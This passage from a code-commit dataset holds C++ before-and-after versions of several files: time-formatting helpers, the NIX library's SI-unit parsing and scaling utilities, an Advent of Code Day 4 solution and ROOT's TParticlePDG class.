instance.\nMilliTimer g_timer;\n\nvoid MilliSleep(int64_t n)\n{\n\n\/**\n * Boost's sleep_for was uninterruptible when backed by nanosleep from 1.50\n * until fixed in 1.52. Use the deprecated sleep method for the broken case.\n * See: https:\/\/svn.boost.org\/trac\/boost\/ticket\/7238\n *\/\n#if defined(HAVE_WORKING_BOOST_SLEEP_FOR)\n    boost::this_thread::sleep_for(boost::chrono::milliseconds(n));\n#elif defined(HAVE_WORKING_BOOST_SLEEP)\n    boost::this_thread::sleep(boost::posix_time::milliseconds(n));\n#else\n\/\/should never get here\n#error missing boost sleep implementation\n#endif\n}\n\nstd::string FormatISO8601DateTime(int64_t nTime) {\n    struct tm ts;\n    time_t time_val = nTime;\n#ifdef HAVE_GMTIME_R\n    if (gmtime_r(&time_val, &ts) == nullptr) {\n#else\n    if (gmtime_s(&ts, &time_val) != 0) {\n#endif\n        return {};\n    }\n    return strprintf(\"%04i-%02i-%02iT%02i:%02i:%02iZ\", ts.tm_year + 1900, ts.tm_mon + 1, ts.tm_mday, ts.tm_hour, ts.tm_min, ts.tm_sec);\n}\n\nstd::string FormatISO8601Date(int64_t nTime) {\n    struct tm ts;\n    time_t time_val = nTime;\n#ifdef HAVE_GMTIME_R\n    if (gmtime_r(&time_val, &ts) == nullptr) {\n#else\n    if (gmtime_s(&ts, &time_val) != 0) {\n#endif\n        return {};\n    }\n    return strprintf(\"%04i-%02i-%02i\", ts.tm_year + 1900, ts.tm_mon + 1, ts.tm_mday);\n}\n\nint64_t ParseISO8601DateTime(const std::string& str)\n{\n    static const boost::posix_time::ptime epoch = boost::posix_time::from_time_t(0);\n    static const std::locale loc(std::locale::classic(),\n        new boost::posix_time::time_input_facet(\"%Y-%m-%dT%H:%M:%SZ\"));\n    std::istringstream iss(str);\n    iss.imbue(loc);\n    boost::posix_time::ptime ptime(boost::date_time::not_a_date_time);\n    iss >> ptime;\n    if (ptime.is_not_a_date_time() || epoch > ptime)\n        return 0;\n    return (ptime - epoch).total_seconds();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2013, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n#include <string>\n#include <cstdlib>\n#include <mutex>\n#include <math.h>\n\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/regex.hpp>\n#include <nix\/util\/util.hpp>\n\n#include <nix\/base\/IDimensions.hpp>\n\n\nusing namespace std;\n\nnamespace nix {\nnamespace util {\n\n\/\/ default id base (16 or 32)\nconst int    ID_BASE = 32;\n\/\/ Base32hex alphabet (RFC 4648)\nconst char*  ID_ALPHABET = \"0123456789abcdefghijklmnopqrstuv\";\n\/\/ Unit scaling, SI only, substitutions for micro and ohm...\nconst string  PREFIXES = \"(Y|Z|E|P|T|G|M|k|h|da|d|c|m|u|n|p|f|a|z|y)\";\nconst string  UNITS = \"(m|g|s|A|K|mol|cd|Hz|N|Pa|J|W|C|V|F|S|Wb|T|H|lm|lx|Bq|Gy|Sv|kat|l|L|Ohm|%|dB)\";\nconst string  POWER = \"(\\\\^[+-]?[1-9]\\\\d*)\";\n\nconst map<string, double> PREFIX_FACTORS = {{\"y\", 1.0e-24}, {\"z\", 1.0e-21}, {\"a\", 1.0e-18}, {\"f\", 1.0e-15},\n    {\"p\", 1.0e-12}, {\"n\",1.0e-9}, {\"u\", 1.0e-6}, {\"m\", 1.0e-3}, {\"c\", 1.0e-2}, {\"d\",1.0e-1}, {\"da\", 1.0e1}, {\"h\", 1.0e2},\n    {\"k\", 1.0e3}, {\"M\",1.0e6}, {\"G\", 1.0e9}, {\"T\", 1.0e12}, {\"P\", 1.0e15}, {\"E\",1.0e18}, {\"Z\", 1.0e21}, {\"Y\", 1.0e24}};\n\n\nstring createId(string prefix, int length) {\n    static std::once_flag rand_init;\n    std::call_once(rand_init, []() { srand(static_cast<unsigned int>(time(0))); });\n\n    string id;\n    if (prefix.length() > 0) {\n        id.append(prefix);\n        id.append(\"_\");\n    }\n    for (int i = 0; i < length; i++) {\n        char c = ID_ALPHABET[(size_t) (((double) (rand())) \/ RAND_MAX * ID_BASE)];\n        id.push_back(c);\n    }\n    return id;\n}\n\n\nstring timeToStr(time_t time) {\n    using namespace boost::posix_time;\n    ptime timetmp = from_time_t(time);\n    return to_iso_string(timetmp);\n}\n\n\ntime_t strToTime(const string &time) {\n    using namespace boost::posix_time;\n    ptime timetmp(from_iso_string(time));\n    ptime epoch(boost::gregorian::date(1970, 1, 1));\n    return (timetmp - epoch).total_seconds();\n}\n\n\ntime_t getTime() {\n    return time(NULL);\n}\n\n\nvoid deblankString(std::string &str) {\n    typedef std::string::value_type char_type;\n\n    str.erase(std::remove_if(str.begin(),\n                             str.end(),\n                             [](char_type c) { return std::isblank(c); }),\n              str.end());\n}\n\nstd::string deblankString(const std::string &str) {\n    std::string str_copy = str;\n    deblankString(str_copy);\n    return str_copy;\n}\n\nstd::string unitSanitizer(const std::string &unit) {\n     std::string new_unit = deblankString(unit);\n     while (new_unit.find(\"mu\") != string::npos) {\n          size_t pos = new_unit.find(\"mu\");\n          new_unit = new_unit.replace(pos, 2, \"u\");\n\n     }\n     while (new_unit.find(\"µ\") != string::npos) {\n          size_t pos = new_unit.find(\"µ\");\n          new_unit = new_unit.replace(pos, 2, \"u\");\n     }\n     return new_unit;\n}\n\nvoid splitUnit(const string &combinedUnit, string &prefix, string &unit, string &power) {\n    boost::regex prefix_and_unit_and_power(PREFIXES + UNITS + POWER);\n    boost::regex prefix_and_unit(PREFIXES + UNITS);\n    boost::regex unit_and_power(UNITS + POWER);\n    boost::regex unit_only(UNITS);\n    boost::regex prefix_only(PREFIXES);\n\n    if (boost::regex_match(combinedUnit, prefix_and_unit_and_power)) {\n        boost::match_results<std::string::const_iterator> m;\n        boost::regex_search(combinedUnit, m, prefix_only);\n        prefix = m[0];\n        string suffix = m.suffix();\n        boost::regex_search(suffix, m, unit_only);\n        unit = m[0];\n        power = m.suffix();\n        power = power.substr(1);\n    } else if (boost::regex_match(combinedUnit, unit_and_power)) {\n        prefix = \"\";\n        boost::match_results<std::string::const_iterator> m;\n        boost::regex_search(combinedUnit, m, unit_only);\n        unit = m[0];\n        power = m.suffix();\n        power = power.substr(1);\n    } else if (boost::regex_match(combinedUnit, prefix_and_unit)) {\n        boost::match_results<std::string::const_iterator> m;\n        boost::regex_search(combinedUnit, m, prefix_only);\n        prefix = m[0];\n        unit = m.suffix();\n        power = \"\";\n    } else {\n        unit = combinedUnit;\n        prefix = \"\";\n        power = \"\";\n    }\n}\n\n\nvoid splitCompoundUnit(const std::string &compoundUnit, std::vector<std::string> &atomicUnits) {\n    string s = compoundUnit;\n    boost::regex opt_prefix_and_unit_and_power(PREFIXES + \"?\" + UNITS + POWER + \"?\");\n    boost::regex separator(\"(\\\\*|\/)\");\n    boost::match_results<std::string::const_iterator> m;\n\n    while (boost::regex_search(s, m, opt_prefix_and_unit_and_power) && (m.suffix().length() > 0)) {\n        string suffix = m.suffix();\n        atomicUnits.push_back(m[0]);\n        s = suffix.substr(1);\n    }\n    atomicUnits.push_back(m[0]);\n}\n\n\nbool isSIUnit(const string &unit) {\n    boost::regex opt_prefix_and_unit_and_power(PREFIXES + \"?\" + UNITS + POWER + \"?\");\n    return boost::regex_match(unit, opt_prefix_and_unit_and_power);\n}\n\n\nbool isCompoundSIUnit(const string &unit) {\n    string atomic_unit = PREFIXES + \"?\" + UNITS + POWER + \"?\";\n    boost::regex compound_unit(\"(\" + atomic_unit + \"(\\\\*|\/))+\"+ atomic_unit);\n    return boost::regex_match(unit, compound_unit);\n}\n\n\nstd::string dimTypeToStr(const nix::DimensionType &dtype) {\n    std::stringstream s;\n    s << dtype;\n    return s.str();\n}\n\n\nbool isScalable(const string &unitA, const string &unitB) {\n    if (!(isSIUnit(unitA) && isSIUnit(unitB))) {\n        return false;\n    }\n    string a_unit, a_prefix, a_power;\n    string b_unit, b_prefix, b_power;\n    splitUnit(unitA, a_prefix, a_unit, a_power);\n    splitUnit(unitB, b_prefix, b_unit, b_power);\n    if (!(a_unit == b_unit) || !(a_power == b_power) ) {\n        return false;\n    }\n    return true;\n}\n\n\nbool isScalable(const vector<string> &unitsA, const vector<string> &unitsB) {\n    bool scalable = true;\n    \n    if(unitsA.size() != unitsB.size()) {\n        return false;\n    }\n    \n    auto itA = unitsA.begin();\n    auto itB = unitsB.begin();\n    string dimStr = dimTypeToStr(DimensionType::Set);\n    while(scalable && itA != unitsA.end()) {\n        \/\/ automatically pass test if unit string is a dummy one from\n        \/\/ a SetDimension (which has no units) - test otherwise\n        if((*itA == dimStr) || (*itB == dimStr)) {\n            scalable = true;\n        }\n        else {\n            scalable = isScalable(*itA, *itB);\n        }\n        ++itA; \n        ++itB;\n    }\n    \n    return scalable;\n}\n\n\nbool isSetAtSamePos(const vector<string> &unitsA, const vector<string> &unitsB) {\n    bool set_same = true;\n    \n    if(unitsA.size() != unitsB.size()) {\n        return false;\n    }\n    \n    auto itA = unitsA.begin();\n    auto itB = unitsB.begin();\n    while(set_same && itA != unitsA.end()) {\n        set_same = (*itA).empty() == (*itB).empty();\n        ++itA; \n        ++itB;\n    }\n    \n    return set_same;\n}\n\n\ndouble getSIScaling(const string &originUnit, const string &destinationUnit) {\n    double scaling = 1.0;\n    if (!isScalable(originUnit, destinationUnit)) {\n        throw nix::InvalidUnit(\"Origin unit and destination unit are not scalable versions of the same SI unit!\",\n                               \"nix::util::getSIScaling\");\n    }\n    \n    string org_unit, org_prefix, org_power;\n    string dest_unit, dest_prefix, dest_power;\n    splitUnit(originUnit, org_prefix, org_unit, org_power);\n    splitUnit(destinationUnit, dest_prefix, dest_unit, dest_power);\n\n    if ((org_prefix == dest_prefix) && (org_power == dest_power)) {\n        return scaling;\n    }\n    if (dest_prefix.empty() && !org_prefix.empty()) {\n        scaling = PREFIX_FACTORS.at(org_prefix);\n    } else if (org_prefix.empty() && !dest_prefix.empty()) {\n        scaling = 1.0 \/ PREFIX_FACTORS.at(dest_prefix);\n    } else if (!org_prefix.empty() && !dest_prefix.empty()) {\n        scaling = PREFIX_FACTORS.at(org_prefix) \/ PREFIX_FACTORS.at(dest_prefix);\n    }\n    if (!org_power.empty()) {\n        int power = std::stoi(org_power);\n        scaling = pow(scaling, power);\n    }\n    return scaling;\n}\n\n} \/\/ namespace util\n} \/\/ namespace nix\n<commit_msg>Fixes to match validation branch<commit_after>\/\/ Copyright (c) 2013, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n#include <string>\n#include <cstdlib>\n#include <mutex>\n#include <math.h>\n\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/regex.hpp>\n#include <nix\/util\/util.hpp>\n\n#include <nix\/base\/IDimensions.hpp>\n\n\nusing namespace std;\n\nnamespace nix {\nnamespace util {\n\n\/\/ default id base (16 or 32)\nconst int    ID_BASE = 32;\n\/\/ Base32hex alphabet (RFC 4648)\nconst char*  ID_ALPHABET = \"0123456789abcdefghijklmnopqrstuv\";\n\/\/ Unit scaling, SI only, substitutions for micro and ohm...\nconst string  PREFIXES = \"(Y|Z|E|P|T|G|M|k|h|da|d|c|m|u|n|p|f|a|z|y)\";\nconst string  UNITS = \"(m|g|s|A|K|mol|cd|Hz|N|Pa|J|W|C|V|F|S|Wb|T|H|lm|lx|Bq|Gy|Sv|kat|l|L|Ohm|%|dB)\";\nconst string  POWER = \"(\\\\^[+-]?[1-9]\\\\d*)\";\n\nconst map<string, double> PREFIX_FACTORS = {{\"y\", 1.0e-24}, {\"z\", 1.0e-21}, {\"a\", 1.0e-18}, {\"f\", 1.0e-15},\n    {\"p\", 1.0e-12}, {\"n\",1.0e-9}, {\"u\", 1.0e-6}, {\"m\", 1.0e-3}, {\"c\", 1.0e-2}, {\"d\",1.0e-1}, {\"da\", 1.0e1}, {\"h\", 1.0e2},\n    {\"k\", 1.0e3}, {\"M\",1.0e6}, {\"G\", 1.0e9}, {\"T\", 1.0e12}, {\"P\", 1.0e15}, {\"E\",1.0e18}, {\"Z\", 1.0e21}, {\"Y\", 1.0e24}};\n\n\nstring createId(string prefix, int length) {\n    static std::once_flag rand_init;\n    std::call_once(rand_init, []() { srand(static_cast<unsigned int>(time(0))); });\n\n    string id;\n    if (prefix.length() > 0) {\n        id.append(prefix);\n        id.append(\"_\");\n    }\n    for (int i = 0; i < length; i++) {\n        char c = ID_ALPHABET[(size_t) (((double) (rand())) \/ RAND_MAX * ID_BASE)];\n        id.push_back(c);\n    }\n    return id;\n}\n\n\nstring timeToStr(time_t time) {\n    using namespace boost::posix_time;\n    ptime timetmp = from_time_t(time);\n    return to_iso_string(timetmp);\n}\n\n\ntime_t strToTime(const string &time) {\n    using namespace boost::posix_time;\n    ptime timetmp(from_iso_string(time));\n    ptime epoch(boost::gregorian::date(1970, 1, 1));\n    return (timetmp - epoch).total_seconds();\n}\n\n\ntime_t getTime() {\n    return time(NULL);\n}\n\n\nvoid deblankString(std::string &str) {\n    typedef std::string::value_type char_type;\n\n    str.erase(std::remove_if(str.begin(),\n                             str.end(),\n                             [](char_type c) { return std::isblank(c); }),\n              str.end());\n}\n\nstd::string deblankString(const std::string &str) {\n    std::string str_copy = str;\n    deblankString(str_copy);\n    return str_copy;\n}\n\nstd::string unitSanitizer(const std::string &unit) {\n     std::string new_unit = deblankString(unit);\n     while (new_unit.find(\"mu\") != string::npos) {\n          size_t pos = new_unit.find(\"mu\");\n          new_unit = new_unit.replace(pos, 2, \"u\");\n\n     }\n     while (new_unit.find(\"µ\") != string::npos) {\n          size_t pos = new_unit.find(\"µ\");\n          new_unit = new_unit.replace(pos, 2, \"u\");\n     }\n     return new_unit;\n}\n\nvoid splitUnit(const string &combinedUnit, string &prefix, string &unit, string &power) {\n    boost::regex prefix_and_unit_and_power(PREFIXES + UNITS + POWER);\n    boost::regex prefix_and_unit(PREFIXES + UNITS);\n    boost::regex unit_and_power(UNITS + POWER);\n    boost::regex unit_only(UNITS);\n    boost::regex prefix_only(PREFIXES);\n\n    if (boost::regex_match(combinedUnit, prefix_and_unit_and_power)) {\n        boost::match_results<std::string::const_iterator> m;\n        boost::regex_search(combinedUnit, m, prefix_only);\n        prefix = m[0];\n        string suffix = m.suffix();\n        boost::regex_search(suffix, m, unit_only);\n        unit = m[0];\n        power = m.suffix();\n        power = power.substr(1);\n    } else if (boost::regex_match(combinedUnit, unit_and_power)) {\n        prefix = \"\";\n        boost::match_results<std::string::const_iterator> m;\n        boost::regex_search(combinedUnit, m, unit_only);\n        unit = m[0];\n        power = m.suffix();\n        power = power.substr(1);\n    } else if (boost::regex_match(combinedUnit, prefix_and_unit)) {\n        boost::match_results<std::string::const_iterator> m;\n        boost::regex_search(combinedUnit, m, prefix_only);\n        prefix = m[0];\n        unit = m.suffix();\n        power = \"\";\n    } else {\n        unit = combinedUnit;\n        prefix = \"\";\n        power = \"\";\n    }\n}\n\n\nvoid splitCompoundUnit(const std::string &compoundUnit, std::vector<std::string> &atomicUnits) {\n    string s = compoundUnit;\n    boost::regex opt_prefix_and_unit_and_power(PREFIXES + \"?\" + UNITS + POWER + \"?\");\n    boost::regex separator(\"(\\\\*|\/)\");\n    boost::match_results<std::string::const_iterator> m;\n\n    while (boost::regex_search(s, m, opt_prefix_and_unit_and_power) && (m.suffix().length() > 0)) {\n        string suffix = m.suffix();\n        atomicUnits.push_back(m[0]);\n        s = suffix.substr(1);\n    }\n    atomicUnits.push_back(m[0]);\n}\n\n\nbool isSIUnit(const string &unit) {\n    boost::regex opt_prefix_and_unit_and_power(PREFIXES + \"?\" + UNITS + POWER + \"?\");\n    return boost::regex_match(unit, opt_prefix_and_unit_and_power);\n}\n\n\nbool isCompoundSIUnit(const string &unit) {\n    string atomic_unit = PREFIXES + \"?\" + UNITS + POWER + \"?\";\n    boost::regex compound_unit(\"(\" + atomic_unit + \"(\\\\*|\/))+\"+ atomic_unit);\n    return boost::regex_match(unit, compound_unit);\n}\n\n\nstd::string dimTypeToStr(const nix::DimensionType &dtype) {\n    std::stringstream s;\n    s << dtype;\n    return s.str();\n}\n\n\nbool isScalable(const string &unitA, const string &unitB) {\n    if (!(isSIUnit(unitA) && isSIUnit(unitB))) {\n        return false;\n    }\n    string a_unit, a_prefix, a_power;\n    string b_unit, b_prefix, b_power;\n    splitUnit(unitA, a_prefix, a_unit, a_power);\n    splitUnit(unitB, b_prefix, b_unit, b_power);\n    if (!(a_unit == b_unit) || !(a_power == b_power) ) {\n        return false;\n    }\n    return true;\n}\n\n\nbool isScalable(const vector<string> &unitsA, const vector<string> &unitsB) {\n    bool scalable = true;\n    \n    if(unitsA.size() != unitsB.size()) {\n        return false;\n    }\n    \n    auto itA = unitsA.begin();\n    auto itB = unitsB.begin();\n    while(scalable && itA != unitsA.end()) {\n        scalable = isScalable(*itA, *itB);\n        ++itA; \n        ++itB;\n    }\n    \n    return scalable;\n}\n\n\nbool isSetAtSamePos(const vector<string> &unitsA, const vector<string> &unitsB) {\n    bool set_same = true;\n    \n    if(unitsA.size() != unitsB.size()) {\n        return false;\n    }\n    \n    auto itA = unitsA.begin();\n    auto itB = unitsB.begin();\n    while(set_same && itA != unitsA.end()) {\n        set_same = (*itA).empty() == (*itB).empty();\n        ++itA; \n        ++itB;\n    }\n    \n    return set_same;\n}\n\n\ndouble getSIScaling(const string &originUnit, const string &destinationUnit) {\n    double scaling = 1.0;\n    if (!isScalable(originUnit, destinationUnit)) {\n        throw nix::InvalidUnit(\"Origin unit and destination unit are not scalable versions of the same SI unit!\",\n                               \"nix::util::getSIScaling\");\n    }\n    \n    string org_unit, org_prefix, org_power;\n    string dest_unit, dest_prefix, dest_power;\n    splitUnit(originUnit, org_prefix, org_unit, org_power);\n    splitUnit(destinationUnit, dest_prefix, dest_unit, dest_power);\n\n    if ((org_prefix == dest_prefix) && (org_power == dest_power)) {\n        return scaling;\n    }\n    if (dest_prefix.empty() && !org_prefix.empty()) {\n        scaling = PREFIX_FACTORS.at(org_prefix);\n    } else if (org_prefix.empty() && !dest_prefix.empty()) {\n        scaling = 1.0 \/ PREFIX_FACTORS.at(dest_prefix);\n    } else if (!org_prefix.empty() && !dest_prefix.empty()) {\n        scaling = PREFIX_FACTORS.at(org_prefix) \/ PREFIX_FACTORS.at(dest_prefix);\n    }\n    if (!org_power.empty()) {\n        int power = std::stoi(org_power);\n        scaling = pow(scaling, power);\n    }\n    return scaling;\n}\n\n} \/\/ namespace util\n} \/\/ namespace nix\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Day04.cpp : This file contains the 'main' function. Program execution begins and ends there.\n\/\/\n\n#include \"pch.h\"\n\ntypedef std::array<unsigned, 60> MinuteArray;\n\nstruct Guard\n{\n\tunsigned Id;\n\tunsigned TotalMinutesAsleep;\n\tMinuteArray TimeAsleepCounter;\n\n\tGuard(unsigned Id)\n\t\t:Id(Id), TotalMinutesAsleep(0), TimeAsleepCounter({ 0 }) {}\n\n\tGuard() = default;\n};\n\ntypedef std::unordered_map<unsigned, Guard> GuardMap;\n\nconst GuardMap AnalyzeGuards(const StringVector & Lines);\n\nint main()\n{\n\tStringVector File = GetFileLines(\"Input.txt\");\n\tstd::sort(File.begin(), File.end());\n\n\tconst GuardMap Guards = AnalyzeGuards(File);\n\n\tGuardMap::const_iterator MostAsleepGuard = std::max_element(\n\t\tstd::begin(Guards),\n\t\tstd::end(Guards),\n\t\t[](const auto & a, const auto & b) { return a.second.TotalMinutesAsleep < b.second.TotalMinutesAsleep; }\n\t);\n\n\tMinuteArray::const_iterator MostAspleepMinute = std::max_element(\n\t\tstd::begin(MostAsleepGuard->second.TimeAsleepCounter),\n\t\tstd::end(MostAsleepGuard->second.TimeAsleepCounter)\n\t);\n\n\tstd::cout << \"Part One: \" << MostAsleepGuard->second.Id * std::distance(std::begin(MostAsleepGuard->second.TimeAsleepCounter), MostAspleepMinute) << std::endl;\n}\n\nconst GuardMap AnalyzeGuards(const StringVector & Lines)\n{\n\tstd::regex RegEx(\"\\\\[\\\\d{4}-\\\\d{2}-\\\\d{2}\\\\s\\\\d{2}:(\\\\d{2})\\\\]\\\\s(.)(?:uard\\\\s#(\\\\d+))?.+\", std::regex_constants::optimize);\n\tstd::smatch Matches;\n\tGuardMap Guards;\n\tGuardMap::iterator CurrentGuard;\n\tunsigned StartTime = 0;\n\n\tfor (const std::string & Line : Lines)\n\t{\n\t\tif (!std::regex_match(Line, Matches, RegEx))\n\t\t\tstd::cout << Line << \" - did not match!\" << std::endl;\n\n\t\tswitch (*Matches[2].first)\n\t\t{\n\t\tcase 'G':\n\t\t\t{\n\t\t\t\tunsigned Id = std::stoul(Matches[3]);\n\t\t\t\tCurrentGuard = Guards.insert({ Id, Guard(Id) }).first;\n\t\t\t\tbreak;\n\t\t\t}\n\t\tcase 'f':\n\t\t\tStartTime = std::stoul(Matches[1]);\n\t\t\tbreak;\n\t\tcase 'w':\n\t\t\t{\n\t\t\t\tunsigned EndTime = std::stoul(Matches[1]);\n\t\t\t\tCurrentGuard->second.TotalMinutesAsleep += EndTime - StartTime;\n\n\t\t\t\tstd::for_each(\n\t\t\t\t\tstd::begin(CurrentGuard->second.TimeAsleepCounter) + StartTime,\n\t\t\t\t\tstd::begin(CurrentGuard->second.TimeAsleepCounter) + EndTime,\n\t\t\t\t\t[](unsigned & Counter) { ++Counter; }\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn Guards;\n}\n<commit_msg>Day 04 part two<commit_after>\/\/ Day04.cpp : This file contains the 'main' function. Program execution begins and ends there.\n\/\/\n\n#include \"pch.h\"\n\ntypedef std::array<size_t, 60> MinuteArray;\n\nstruct Guard\n{\n\tsize_t Id;\n\tsize_t TotalMinutesAsleep;\n\tsize_t MostAsleepMinute;\n\tMinuteArray TimeAsleepCounter;\n\n\tGuard(size_t Id)\n\t\t:Id(Id), TotalMinutesAsleep(0), TimeAsleepCounter({ 0 }) {}\n\n\tGuard() = default;\n};\n\ntypedef std::unordered_map<size_t, Guard> GuardMap;\n\nconst GuardMap AnalyzeGuards(const StringVector & Lines);\n\nint main()\n{\n\tStringVector File = GetFileLines(\"Input.txt\");\n\tstd::sort(File.begin(), File.end());\n\n\tconst GuardMap Guards = AnalyzeGuards(File);\n\n\tGuardMap::const_iterator MostAsleepGuardByTotal = std::max_element(\n\t\tstd::begin(Guards),\n\t\tstd::end(Guards),\n\t\t[](const auto & a, const auto & b) { return a.second.TotalMinutesAsleep < b.second.TotalMinutesAsleep; }\n\t);\n\n\tGuardMap::const_iterator MostAsleepGuardByMinute = std::max_element(\n\t\tstd::begin(Guards),\n\t\tstd::end(Guards),\n\t\t[](const auto & a, const auto & b) { return a.second.TimeAsleepCounter[a.second.MostAsleepMinute] < b.second.TimeAsleepCounter[b.second.MostAsleepMinute]; }\n\t);\n\t\n\tstd::cout << \"Part One: \" << MostAsleepGuardByTotal->second.Id * MostAsleepGuardByTotal->second.MostAsleepMinute << std::endl;\n\tstd::cout << \"Part Two: \" << MostAsleepGuardByMinute->second.Id * MostAsleepGuardByMinute->second.MostAsleepMinute << std::endl;\n}\n\nconst GuardMap AnalyzeGuards(const StringVector & Lines)\n{\n\tstd::regex RegEx(\"\\\\[\\\\d{4}-\\\\d{2}-\\\\d{2}\\\\s\\\\d{2}:(\\\\d{2})\\\\]\\\\s(.)(?:uard\\\\s#(\\\\d+))?.+\", std::regex_constants::optimize);\n\tstd::smatch Matches;\n\tGuardMap Guards;\n\tGuardMap::iterator CurrentGuard;\n\tsize_t StartTime = 0;\n\n\tfor (const std::string & Line : Lines)\n\t{\n\t\tif (!std::regex_match(Line, Matches, RegEx))\n\t\t\tstd::cout << Line << \" - did not match!\" << std::endl;\n\n\t\tswitch (*Matches[2].first)\n\t\t{\n\t\tcase 'G':\n\t\t\t{\n\t\t\t\tsize_t Id = std::stoull(Matches[3]);\n\t\t\t\tCurrentGuard = Guards.insert({ Id, Guard(Id) }).first;\n\t\t\t\tbreak;\n\t\t\t}\n\t\tcase 'f':\n\t\t\tStartTime = std::stoull(Matches[1]);\n\t\t\tbreak;\n\t\tcase 'w':\n\t\t\t{\n\t\t\t\tsize_t EndTime = std::stoull(Matches[1]);\n\t\t\t\tCurrentGuard->second.TotalMinutesAsleep += EndTime - StartTime;\n\n\t\t\t\tstd::for_each(\n\t\t\t\t\tstd::begin(CurrentGuard->second.TimeAsleepCounter) + StartTime,\n\t\t\t\t\tstd::begin(CurrentGuard->second.TimeAsleepCounter) + EndTime,\n\t\t\t\t\t[](size_t & Counter) { ++Counter; }\n\t\t\t\t);\n\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tstd::for_each(std::begin(Guards), std::end(Guards), [](auto & Entry)\n\t\t{\n\t\t\tMinuteArray::const_iterator MostAspleepMinute = std::max_element(\n\t\t\t\tstd::begin(Entry.second.TimeAsleepCounter),\n\t\t\t\tstd::end(Entry.second.TimeAsleepCounter)\n\t\t\t);\n\n\t\t\tEntry.second.MostAsleepMinute = std::distance(std::cbegin(Entry.second.TimeAsleepCounter), MostAspleepMinute);\n\t\t}\n\t);\n\n\treturn Guards;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/eg:$Name:  $:$Id: TParticlePDG.cxx,v 1.4 2001\/03\/05 11:37:31 brun Exp $\n\/\/ Author: Pasha Murat   12\/02\/99\n\n#include \"TDecayChannel.h\"\n#include \"TParticlePDG.h\"\n#include \"TDatabasePDG.h\"\n\nClassImp(TParticlePDG)\n\n\/\/______________________________________________________________________________\nTParticlePDG::TParticlePDG()\n{\n  fDecayList    = 0;\n  fAntiParticle = 0;\n}\n\n\/\/______________________________________________________________________________\nTParticlePDG::TParticlePDG(Int_t )\n{\n  \/\/ empty for the time  being\n\n  fDecayList    = 0;\n  fAntiParticle = 0;\n}\n\n\/\/______________________________________________________________________________\nTParticlePDG::TParticlePDG(const char* Name, const char* Title, Double_t Mass,\n\t\t\t   Bool_t Stable, Double_t Width, Double_t Charge,\n\t\t\t   const char* ParticleClass, Int_t PdgCode, Int_t Anti,\n\t\t\t   Int_t TrackingCode)\n  : TNamed(Name,Title)\n{\n\n    \/\/ empty for the time  being\n\n    fMass          = Mass;\n    fStable        = Stable;\n    fWidth         = Width;\n    fCharge        = Charge;\n    fParticleClass = ParticleClass;\n    fPdgCode       = PdgCode;\n    fTrackingCode  = TrackingCode;\n    fDecayList     = NULL;\n    if (Anti) fAntiParticle = this;\n    else      fAntiParticle = 0;\n}\n\n\n\/\/______________________________________________________________________________\nTParticlePDG::~TParticlePDG() {\n  if (fDecayList) {\n    fDecayList->Delete();\n    delete fDecayList;\n  }\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TParticlePDG::AddDecayChannel(Int_t        Type, \n\t\t\t\t    Double_t     BranchingRatio,\n\t\t\t\t    Int_t        NDaughters, \n\t\t\t\t    Int_t*       DaughterPdgCode)\n{\n  \/\/ add new decay channel, Particle owns those...\n\n  Int_t n = NDecayChannels();\n  if (NDecayChannels() == 0) {\n    fDecayList = new TObjArray(5);\n  }\n  TDecayChannel* dc = new TDecayChannel(n,Type,BranchingRatio,NDaughters,\n\t\t\t\t\tDaughterPdgCode);\n  fDecayList->Add(dc);\n  return 0;\n}\n\n\/\/_____________________________________________________________________________\nvoid TParticlePDG::PrintDecayChannel(TDecayChannel* dc, Option_t* option) const\n{\n  if (strstr(option,\"banner\")) {\n\t\t\t\t\/\/ print banner\n\n    printf(\" Channel Code BranchingRatio Nd  \");\n    printf(\" ...................Daughters.................... \\n\");\n  }\n  if (strstr(option,\"data\")) {\n\n    TDatabasePDG* db = TDatabasePDG::Instance();\n\n    printf(\"%7i %5i %12.5e %5i  \",\n\t   dc->Number(),\n\t   dc->MatrixElementCode(),\n\t   dc->BranchingRatio(),\n\t   dc->NDaughters());\n    \n    for (int i=0; i<dc->NDaughters(); i++) {\n      int ic = dc->DaughterPdgCode(i);\n      TParticlePDG* p = db->GetParticle(ic);\n      printf(\" %15s(%8i)\",p->GetName(),ic);\n    }\n    printf(\"\\n\");\n  }\n}\n\n\n\/\/______________________________________________________________________________\nvoid TParticlePDG::Print(Option_t *) const\n{\n\/\/\n\/\/  Print the entire information of this kind of particle\n\/\/\n\n   printf(\"%-20s  %6d\\t\",GetName(),fPdgCode);\n   if (!fStable) {\n       printf(\"Mass:%9.4f Width (GeV):%11.4e\\tCharge: %5.1f\\n\",\n              fMass, fWidth, fCharge);\n   }\n   else {\n       printf(\"Mass:%9.4f Width (GeV): Stable\\tCharge: %5.1f\\n\",\n              fMass, fCharge);\n   }\n   if (fDecayList) {\n     int banner_printed = 0;\n     TIter next(fDecayList);\n     TDecayChannel* dc;\n     while ((dc = (TDecayChannel*)next())) {\n       if (! banner_printed) {\n\t PrintDecayChannel(dc,\"banner\");\n\t banner_printed = 1;\n       }\n       PrintDecayChannel(dc,\"data\");\n     }\n   }\n}\n\n<commit_msg>Initialize all members of TParticlePDG in the constructors. Non set members were given problems with I\/O.<commit_after>\/\/ @(#)root\/eg:$Name:  $:$Id: TParticlePDG.cxx,v 1.5 2001\/08\/17 07:32:12 brun Exp $\n\/\/ Author: Pasha Murat   12\/02\/99\n\n#include \"TDecayChannel.h\"\n#include \"TParticlePDG.h\"\n#include \"TDatabasePDG.h\"\n\nClassImp(TParticlePDG)\n\n\/\/______________________________________________________________________________\nTParticlePDG::TParticlePDG()\n{\n  